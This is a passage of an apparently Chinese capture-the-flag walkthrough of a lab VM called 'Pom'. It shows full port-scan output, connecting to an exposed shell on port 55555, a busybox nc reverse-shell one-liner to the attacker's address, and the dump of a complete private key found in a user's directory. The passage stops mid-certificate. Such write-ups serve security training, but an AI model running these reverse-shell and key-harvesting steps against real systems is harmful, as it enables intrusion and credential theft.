Pom

信息搜集

192.168.43.91

端口扫描

┌──(root㉿Eecho)-[/var/www/html]
└─# rustscan -a 192.168.43.91 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.91:22
Open 192.168.43.91:80
Open 192.168.43.91:55555
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.91
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-08 19:00 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:00
Completed NSE at 19:00, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:00
Completed NSE at 19:00, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:00
Completed NSE at 19:00, 0.00s elapsed
Initiating ARP Ping Scan at 19:00
Scanning 192.168.43.91 [1 port]
Completed ARP Ping Scan at 19:00, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:00
Completed Parallel DNS resolution of 1 host. at 19:00, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:00
Scanning 192.168.43.91 [3 ports]
Discovered open port 22/tcp on 192.168.43.91
Discovered open port 55555/tcp on 192.168.43.91
Discovered open port 80/tcp on 192.168.43.91
Completed SYN Stealth Scan at 19:00, 0.01s elapsed (3 total ports)
Initiating Service scan at 19:00
Scanning 3 services on 192.168.43.91
Completed Service scan at 19:03, 162.54s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.91
NSE: Script scanning 192.168.43.91.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:03
Completed NSE at 19:03, 0.17s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:03
Completed NSE at 19:03, 1.15s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:03
Completed NSE at 19:03, 0.00s elapsed
Nmap scan report for 192.168.43.91
Host is up, received arp-response (0.00071s latency).
Scanned at 2026-05-08 19:00:28 CST for 165s

PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http        syn-ack ttl 64 Apache httpd 2.4.66 ((Unix))
|_http-title: Whitelabel Error Page
|_http-server-header: Apache/2.4.66 (Unix)
| http-methods:
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
55555/tcp open  ssl/unknown syn-ack ttl 64
| ssl-cert: Subject: commonName=localhost/organizationName=Maven/stateOrProvinceName=State/countryName=US/localityName=City/organizationalUnitName=Proxy
| Issuer: commonName=localhost/organizationName=Maven/stateOrProvinceName=State/countryName=US/localityName=City/organizationalUnitName=Proxy
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-26T07:20:48
| Not valid after:  2036-02-24T07:20:48
| MD5:     2c76 e6b1 965f a05f ed53 8a14 1d60 e6c3
| SHA-1:   4ec1 5a4c 7082 c3bb 2d29 7ac2 66be 2aa9 0cec 2628
| SHA-256: 1973 c85b cd07 c0e6 e31e 56c6 77f2 54fb 88a5 892b 6f6f c88c cf4e 71f6 8b83 8233
| -----BEGIN CERTIFICATE-----
| MIIFoTCCA4mgAwIBAgIUVLyuh/l5EdN2c47Y0L//ePAO7GYwDQYJKoZIhvcNAQEL
| BQAwYDELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVN0YXRlMQ0wCwYDVQQHDARDaXR5
| MQ4wDAYDVQQKDAVNYXZlbjEOMAwGA1UECwwFUHJveHkxEjAQBgNVBAMMCWxvY2Fs
| aG9zdDAeFw0yNjAyMjYwNzIwNDhaFw0zNjAyMjQwNzIwNDhaMGAxCzAJBgNVBAYT
| AlVTMQ4wDAYDVQQIDAVTdGF0ZTENMAsGA1UEBwwEQ2l0eTEOMAwGA1UECgwFTWF2
| ZW4xDjAMBgNVBAsMBVByb3h5MRIwEAYDVQQDDAlsb2NhbGhvc3QwggIiMA0GCSqG
| SIb3DQEBAQUAA4ICDwAwggIKAoICAQDylEQQUsAPSo6YTElEnKXxIQ6utctm6EVM
| 7AZKMb8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkXGTU9JQhc4Zk5KPYgRQMw
| pLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJM1ZhMfIlnZh7reBx5GI+
| 6HvRVlD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99aXQVoTGmPfvUOP8IejpBa
| DA/YD/1JMqiUOyxlVg48pNaNcItvPDJ63PuueXHXReTF47E+ly0uC1GPZJiVfmQR
| Y6M+Rawsl0gc12xEpbybU+ZKwXdXLbOESHf1HEFYaSLt/AsvhuS+U6A1S8OWzcJD
| PMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMnrGu6nju0260eWvcyl7qZ
| Z/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd0AmvPTKFw2GY6AY1XdIP
| 9EHSePaTA1KgXaowUBybK+gnOFUWWjI6ngWLUQjO+nCinMjlgG/URYHPIybdYTBv
| PS2aQ18tYPKlCdoQNvWEhIYYKroKpfr3WHANuAySJfp5OmcGz9p5EOTU0oOl0LSq
| C42zck1eWT/qLDppvJrrqxCS/x1k2SplkQx50ohnkwr0MtaNDFqm1HJDfnSGliHM
| GYSliYwgDwIDAQABo1MwUTAdBgNVHQ4EFgQU9/xnvtfBkD4TGxnNgjoDSQXG1tAw
| HwYDVR0jBBgwFoAU9/xnvtfBkD4TGxnNgjoDSQXG1tAwDwYDVR0TAQH/BAUwAwEB
| /zANBgkqhkiG9w0BAQsFAAOCAgEAuOVYZ8E3uOVBdnMrUQuGDFP6ZNGvyAmNMp84
| 2QxL8g8r8K5SNo/JHhBf8CkY2BJG15l01/Ic6g56DqzTsQjfmwQAjfnqVWyHwcp9
| KSj9XdE3V39QO1ZGgICStAW0n3TXAa1jRn+GHcz7SZyTB9jGOqh1aAOrAH6/Rsdf
| XBsBpesbeMAHhD2oJdMl45Bkl3dW8FruNP/CAde8vpPR0AQmsHy/2a5m7dcsCK39
| JgroLyhPJGFdHi698agrn5d1vNwzpfQRmu9Iw6Bk/0W5U8jlFYMZu+fK2rzA06o6
| 96GZumbchDHhsi7Ajoa+RYTEXqbyU9a2KDnm3OZC5R5WQY/d+BVnjRmefPWv8kqa
| 5gJ0FGoYCMiR8PY0dpH9wKm4IwxsQAIOe3S2VuEaI6ceRO7Yq/FS31addb+B3UjV
| pWm7+WDDjsEKXY7jxjqWk7Lq3Rh1bTMDR4fxFVhXLish3vQfDA8xSZrGCRaqurwM
| AzjwR2b2GkKVaUVgMJ/8W1kupoJAjr63JIhzmCz3Ciq9/uwgpLFqHhMn1ooBKToU
| rWXPT5PXKEFHODfP+uj9NP8aTxrevJ1SCX7e0S6UO61J0Zjmk7jY+L6ke5blKGiV
| 9NYsvoozjwwRKzAxR95V8TVCy4gNa5ViLG6FcXQ1hLDdfMfRTfuMrYvTtiqhWVvd
| TgrwK04=
|_-----END CERTIFICATE-----
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     ^@^L^@^@^P^@^@^@^@^@^@^@^@^@
|     [?2004hsh-5.2$
|     [Jsh-5.2$
|   DNSVersionBindReqTCP, NULL:
|     [?2004hsh-5.2$
|   GenericLines:
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   GetRequest:
|     GET / HTTP/1.0
|     [?2004hsh-5.2$ GET / HTTP/1.0
|     [?2004l
|     GET: command not found
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   HTTPOptions:
|     OPTIONS / HTTP/1.0
|     [?2004hsh-5.2$ OPTIONS / HTTP/1.0
|     [?2004l
|     OPTIONS: command not found
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   Help:
|     HELP
|     [?2004hsh-5.2$ HELP
|     [?2004l
|     HELP: command not found
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   Kerberos:
|     ^C^B^A^B
|     [?2004hsh-5.2$
|   RTSPRequest:
|     OPTIONS / RTSP/1.0
|     [?2004hsh-5.2$ OPTIONS / RTSP/1.0
|     [?2004l
|     OPTIONS: command not found
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   SMBProgNeg:
|     ^@^@^@
|     SMBr^@^@^@^@^H^A@^@^@^@^@^@^@^@^@^@^@^@^@^@^@@^F^@^@^A^@^@
|     ^@^BPC NETWORK PROGRAM 1.0^@^BMICROSOFT NETWORKS 1.03^@^BMICROSOFT NETWORKS 3.0^@^BLANMAN1.0^@^BLM1.2X002^@^BSamba^@^BNT LANMAN 1.0^@^BNT LM 0.12^@
|     [?2004hsh-5.2$
|     SMBr
|   SSLSessionReq:
|     ^C^A^@
|     [?2004hsh-5.2$
|   TLSSessionReq:
|     ^C^E^B
|     [?2004hsh-5.2$
|   TerminalServerCookie:
|     [?2004hsh-5.2$ ^C
|     [?2004l
|_    [?2004h
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.99%T=SSL%I=7%D=5/8%Time=69FDC25D%P=x86_64-pc-linux-gn
SF:u%r(NULL,10,"\x1b\[\?2004hsh-5\.2\$\x20")%r(GenericLines,7C,"\x1b\[\?20
SF:04hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[
SF:\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5
SF:\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20")%r(GetRequest,B
SF:C,"GET\x20/\x20HTTP/1\.0\r\n\r\n\r\n\r\n\x1b\[\?2004hsh-5\.2\$\x20GET\x
SF:20/\x20HTTP/1\.0\r\n\x1b\[\?2004l\rsh:\x20GET:\x20command\x20not\x20fou
SF:nd\r\n\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2
SF:\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\
SF:x1b\[\?2004hsh-5\.2\$\x20")%r(HTTPOptions,C8,"OPTIONS\x20/\x20HTTP/1\.0
SF:\r\n\r\n\r\n\r\n\x1b\[\?2004hsh-5\.2\$\x20OPTIONS\x20/\x20HTTP/1\.0\r\n
SF:\x1b\[\?2004l\rsh:\x20OPTIONS:\x20command\x20not\x20found\r\n\x1b\[\?20
SF:04hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[
SF:\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5
SF:\.2\$\x20")%r(RTSPRequest,C8,"OPTIONS\x20/\x20RTSP/1\.0\r\n\r\n\r\n\r\n
SF:\x1b\[\?2004hsh-5\.2\$\x20OPTIONS\x20/\x20RTSP/1\.0\r\n\x1b\[\?2004l\rs
SF:h:\x20OPTIONS:\x20command\x20not\x20found\r\n\x1b\[\?2004hsh-5\.2\$\x20
SF:\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\
SF:?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20")%r(DN
SF:SVersionBindReqTCP,12,"\^C\x1b\[\?2004hsh-5\.2\$\x20")%r(DNSStatusReque
SF:stTCP,3A,"\^@\^L\^@\^@\^P\^@\^@\^@\^@\^@\^@\^@\^@\^@\x1b\[\?2004hsh-5\.
SF:2\$\x20\x1b\[H\x1b\[Jsh-5\.2\$\x20")%r(Help,6F,"HELP\r\n\r\n\x1b\[\?200
SF:4hsh-5\.2\$\x20HELP\r\n\x1b\[\?2004l\rsh:\x20HELP:\x20command\x20not\x2
SF:0found\r\n\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
SF:5\.2\$\x20")%r(SSLSessionReq,16,"\^C\^A\^@\x1b\[\?2004hsh-5\.2\$\x20")%
SF:r(TerminalServerCookie,3B,"\x1b\[\?2004hsh-5\.2\$\x20\^C\x1b\[\?2004l\r
SF:\x1b\[\?2004h\x1b\[C\x1b\[C\x1b\[C\x1b\[C\x1b\[C\x1b\[C\x1b\[C\x1b\[C")
SF:%r(TLSSessionReq,17,"\^C\^E\^B\x1b\[\?2004hsh-5\.2\$\x20\x07")%r(Kerber
SF:os,1A,"\^C\^B\^A\^B\x1b\[\?2004hsh-5\.2\$\x20\x07\x07")%r(SMBProgNeg,12
SF:92,"\^@\^@\^@\xa4\xffSMBr\^@\^@\^@\^@\^H\^A@\^@\^@\^@\^@\^@\^@\^@\^@\^@
SF:\^@\^@\^@\^@\^@@\^F\^@\^@\^A\^@\^@\x81\^@\^BPC\x20NETWORK\x20PROGRAM\x2
SF:01\.0\^@\^BMICROSOFT\x20NETWORKS\x201\.03\^@\^BMICROSOFT\x20NETWORKS\x2
SF:03\.0\^@\^BLANMAN1\.0\^@\^BLM1\.2X002\^@\^BSamba\^@\^BNT\x20LANMAN\x201
SF:\.0\^@\^BNT\x20LM\x200\.12\^@\x1b\[\?2004hsh-5\.2\$\x20\xa4\xffSMBr\x08
SF:\x1b\[K\x08\x08\x08\x08\x08@\xa4\xffSMB\x08\x08\x08\x08\x08@\xa4\xffSMB
SF:\x08\x08\x08\x08\x08\x1b\[C\x08\x08\x08\x81@@\xa4\xffSMB\x08\x08\x08\x0
SF:8\x08\x08\x08\x08P\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08C\x8
SF:1@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x20\x81@@\xa4\xffSMB\x08
SF:\x08\x08\x08\x08\x08\x08\x08N\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\
SF:x08\x08E\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08T\x81@@\xa4\xf
SF:fSMB\x08\x08\x08\x08\x08\x08\x08\x08W\x81@@\xa4\xffSMB\x08\x08\x08\x08\
SF:x08\x08\x08\x08O\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08R\x81@
SF:@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08K\x81@@\xa4\xffSMB\x08\x08\
SF:x08\x08\x08\x08\x08\x08\x20\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x0
SF:8\x08P\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08R\x81@@\xa4\xffS
SF:MB\x08\x08\x08\x08\x08\x08\x08\x08O\x81@@\xa4\xffSMB\x08\x08\x08\x08\x0
SF:8\x08\x08\x08G\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08R\x81@@\
SF:xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08A\x81@@\xa4\xffSMB\x08\x08\x0
SF:8\x08\x08\x08\x08\x08M\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08
SF:\x20\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x081\x81@@\xa4\xffSMB
SF:\x08\x08\x08\x08\x08\x08\x08\x08\.\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08
SF:\x08\x08\x080\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x08M0\x8
SF:1@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x08I0\x81@@\xa4\xffSMB\x
SF:08\x08\x08\x08\x08\x08\x08\x08\x08C0\x81@@\xa4\xffSMB\x08\x08\x08\x08\x
SF:08\x08\x08\x08\x08R0\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x
SF:08O0\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x08S0\x81@@\xa4\x
SF:ffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x08O0\x81@@\xa4\xffSMB\x08\x08\x0
SF:8\x08\x08\x08\x08\x08\x08F0\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x0
SF:8\x08\x08T0\x81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x08\x200\x
SF:81@@\xa4\xffSMB\x08\x08\x08\x08\x08\x08\x08\x08\x08N0\x81@@\xa4\xffSMB\
SF:x08\x08\x08\x08\x08\x08\x08\x08\x08E0\x81@@\xa4\xffSMB\x08\x08\x08\x08\
SF:x08\x08\x08\x08\x08T0\x81@@\xa4\xffS");
MAC Address: 08:00:27:60:1A:E9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/8%OT=22%CT=%CU=30230%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:69FDC2F1%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=2%ISR=109%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 15.771 days (since Thu Apr 23 00:32:17 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.70 ms 192.168.43.91

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:03
Completed NSE at 19:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:03
Completed NSE at 19:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:03
Completed NSE at 19:03, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.99 seconds
           Raw packets sent: 26 (1.938KB) | Rcvd: 19 (1.486KB)

22 SSH
80 HTTP
55555

55555端口是一个可以执行shell的ssl端口

1	SF-Port55555-TCP:...%r(NULL,10,"\x1b\[\?2004hsh-5.2\$\x20")%r(GenericLines,7C,...

┌──(root㉿Eecho)-[/var/www/html]
└─# openssl s_client -quiet -connect 192.168.43.91:55555
Connecting to 192.168.43.91
Can't use SSL_get_servername
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify return:1
sh-5.2$ id
id
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
sh-5.2$

弹个shell

1	busybox nc 192.168.43.6 7777 -e sh

mav1234用户家目录下journel给出了hint

I’ve encrypted my secret with my key. No one else can read it now. It’s safely hidden away:)
我用我的密钥加密了我的秘密。现在没人能读得了它。它被安全地藏起来了：）

同时.local下存在两个文件

Pom:~$ cd .local/
Pom:~/.local$ ls -al
total 20
drwxr-sr-x    2 mav1234  mav1234       4096 Feb 26 15:48 .
drwx------    3 mav1234  mav1234       4096 May  2 21:17 ..
-rw-r--r--    1 mav1234  mav1234        512 Feb 26 15:48 maven.meta
-rw-------    1 mav1234  mav1234       5285 Feb 26 15:20 ssl.pem
Pom:~/.local$ cat ssl.pem
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQDylEQQUsAPSo6Y
TElEnKXxIQ6utctm6EVM7AZKMb8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkX
GTU9JQhc4Zk5KPYgRQMwpLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJ
M1ZhMfIlnZh7reBx5GI+6HvRVlD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99a
XQVoTGmPfvUOP8IejpBaDA/YD/1JMqiUOyxlVg48pNaNcItvPDJ63PuueXHXReTF
47E+ly0uC1GPZJiVfmQRY6M+Rawsl0gc12xEpbybU+ZKwXdXLbOESHf1HEFYaSLt
/AsvhuS+U6A1S8OWzcJDPMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMn
rGu6nju0260eWvcyl7qZZ/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd
0AmvPTKFw2GY6AY1XdIP9EHSePaTA1KgXaowUBybK+gnOFUWWjI6ngWLUQjO+nCi
nMjlgG/URYHPIybdYTBvPS2aQ18tYPKlCdoQNvWEhIYYKroKpfr3WHANuAySJfp5
OmcGz9p5EOTU0oOl0LSqC42zck1eWT/qLDppvJrrqxCS/x1k2SplkQx50ohnkwr0
MtaNDFqm1HJDfnSGliHMGYSliYwgDwIDAQABAoICAEfsC84nKsid229uVt7f7xdy
LK9COV92iG2JIUhIPZHIPU0ZSL4ZTzNCRS2NSFUJxcgFIqu4ShJvA9tkXvOVEkiv
nsVizq68p3h5rzSPPO9ggmctMiEWJknxhOHs1F35qvcL0xJo75uHHokQzpCcxWW/
tyEcaYp7I2HxfhyQEgwNhjSUQmxSZc7hR7gbv4VmTgtEyL1XVps9ZayeHedRmI6y
Hqgt4Tk8HbKFFwGBpCBaw77HWJ9nB2uVmANxlfXSDEl/UaPmYAlqsKy3mKqtGfkn
4/O26MKSKcs6FoF1GNpTtE7Q1En6NdR76LDLcb3IUAxtjBuBWCKFcZTMAOkDfrgX
udJXhZv2gB/G/GNgemkHso0+KVDUmNilA9M2mCH1kZndQXb+EJreCIILnexO+7/B
f2JG2SMZdIwBO8Rqr5rGvyNNNte+H7Pk/2CsHkOxJQdcuCYAIgVOWuDE3GJboDzY
rqKB4mpM3jgrXzCEKsIKLibOdntGY8lZl1xZ5nvF5zAjwASKEI+9heo5k5wx9ual
L/C0jca+zBlfH7PO5JkPj+Lf53n0+xVthNAN0G4IoBRrknxQhK+mh0fq/gE4F31E
RwZZ2PKRciVlaIH7XPPg9FSJEqn7xWiKzWoOCeXdkN/dDatY38UBqToTU3xQbmMh
zpy9hbFJx6BI5/QtyzMZAoIBAQD9oHjRsSTOen3NoAkkD/SKbSk73wsNsQWIcxIa
1JbTlutoHPgr0DA+nk6Kn//1VDBq1Bflv1qJeEWRMn5z4ACKpDTZcm42SsaFS/Hl
ONk16QOJYZ+XRJqBz/c776j0OmSKqtkOQvfXP2u6BQQAMG3J79odo69yRjHGWNcE
Lx+PGHVJ62loOMFW8Nxq7l8qqAX0jTX/Jfoa4AimHPNDD1fuPwLzoels1CFmviri
ncDzGRdkaW6Z22DiKMXcpMR8s6IKKYz9yhy3JbZqxVcjKOGFmLQz2krZ/XDOxa4P
m4+/VMTXrXbRQhz5KAonoKHXkSuHk562Le0t3a5WfIbfMTW1AoIBAQD02VSq+ka6
yIZuRAl112l+j010xgCWfs7Cj73cIAX9C10wPmIGqvqrw9Dy5NQCZnJw1S5f4fU+
STY87KIm9vkV/U+8BkRxfTWxYahHV581HwXNHci7YkuSMZhjrqI43J1Q9l4+pK97
8nLGS1pe2wL4bnKONtUEDpD0qycHaKVoSj2MsvTj1M/cXb84AihZ+2P3x9GCWu8L
n01zGMg4ZEgenuPl1jYyti2hvKDmItnYAepW7jXJAPUKO57PVwoiBtIF3xF8iq4u
iVdeCk8BGIItThpgd5WSS9g27DjM7+ILsCqIoWT3Pzs1Dm8kScBqXBwpjSZyecJ0
LWArS0wOWNkzAoIBAQDcoaNYruQY5n/Xx7cL8wFFBi8PkTj5YRwyFgAS7QqD6E7C
lCjjXEkLwAUNHKC6FtHDrNtZFjw5SDIkXCuau6tc7/m1i5EKk8PcozM7t1dlSV21
PgJpwdkyweoN7q8oPj/GTVdiy6j0S4x4FvLjAz4OpCM3E3SFUUDtjc0GK8QlZB5r
/mkErBKsgf0M3G5XGjGMCueFHNFUXb3IW3jWxls0uwXjUN9Rt7uSuC1wU9FM6G/r
/rejCi9erh9pkMAIxu9YLcsj35VZUWo9uYvS3zZIVI22adghiBKBHYAMvcOvqptO
D+1DnmK78DPdQyRm9TdLyoQPcSZZdvW48L0XHaTdAoIBAB8cKhTbXfdHmUUTYfxW
FXJeNOI8ckCs9gpkhyQb8YbYVcvWcVAVk2oVpEvoZUO0zp+lhpHqPOXgGYMeMfAv
ezCfEe17AmFFHnheRyphaLowKeWI/kNI1v9JS+qGetgst9RcqVbeR+nAwXKOinn4
6+Sy691D/EbarvJXeMsJMdMRc8aXymPUW2DNjIlKRORB+8601drxQORCJm4UXQRF
QaCaYayHTjWdTij5tZvoG7PFcof/Flhmxbu6HZCMp53xLehPEoK3gDArhS1OtAEY
oxmsjc9qAlgnSN6ZnxHy/M6tYIohr5l2sEgqgFalBEy/TVi+NX9gFyP5y/lUROKh
yV8CggEAVbD0wfhaubtIUAoqrgv3fL8D53a0lD0meWjmWnX7q5K/qja/q0XQJzSV
LlqkScZ8fFr2a9ejiEjFQiWPJmEPyg3oCI/6gDk2iHNsD8HCLcuBToe4be86vmGL
28qwZ+oYMJ3u1pcL3VnM97v6awVG8T1GHFdTLbUZonVh/O9qjO/Z1iNj96NSGXx9
t5NsctBqNuwTwlgMmC+vBNVmqwg40xAeB0pyrrkeY72C0pjz33TAm/UMVEzaq7j0
7y4w1VxN0woUfwRirq+0uVEXCvfP5Xa9U9YQfo6DANrj2pEsUnZVZ0W0iqzUMBHm
THu1nOeMB4vEAtMz7uFtRkDCDCOPiw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFoTCCA4mgAwIBAgIUVLyuh/l5EdN2c47Y0L//ePAO7GYwDQYJKoZIhvcNAQEL
BQAwYDELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVN0YXRlMQ0wCwYDVQQHDARDaXR5
MQ4wDAYDVQQKDAVNYXZlbjEOMAwGA1UECwwFUHJveHkxEjAQBgNVBAMMCWxvY2Fs
aG9zdDAeFw0yNjAyMjYwNzIwNDhaFw0zNjAyMjQwNzIwNDhaMGAxCzAJBgNVBAYT
AlVTMQ4wDAYDVQQIDAVTdGF0ZTENMAsGA1UEBwwEQ2l0eTEOMAwGA1UECgwFTWF2
ZW4xDjAMBgNVBAsMBVByb3h5MRIwEAYDVQQDDAlsb2NhbGhvc3QwggIiMA0GCSqG
SIb3DQEBAQUAA4ICDwAwggIKAoICAQDylEQQUsAPSo6YTElEnKXxIQ6utctm6EVM
7AZKMb8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkXGTU9JQhc4Zk5KPYgRQMw
pLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJM1ZhMfIlnZh7reBx5GI+
6HvRVlD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99aXQVoTGmPfvUOP8IejpBa
